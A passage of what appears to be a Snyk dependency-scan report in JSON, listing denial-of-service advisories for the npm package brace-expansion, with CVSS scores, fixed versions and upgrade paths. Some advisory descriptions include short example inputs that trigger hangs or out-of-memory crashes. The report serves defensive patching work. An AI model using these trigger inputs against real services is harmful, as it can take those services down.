"isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", 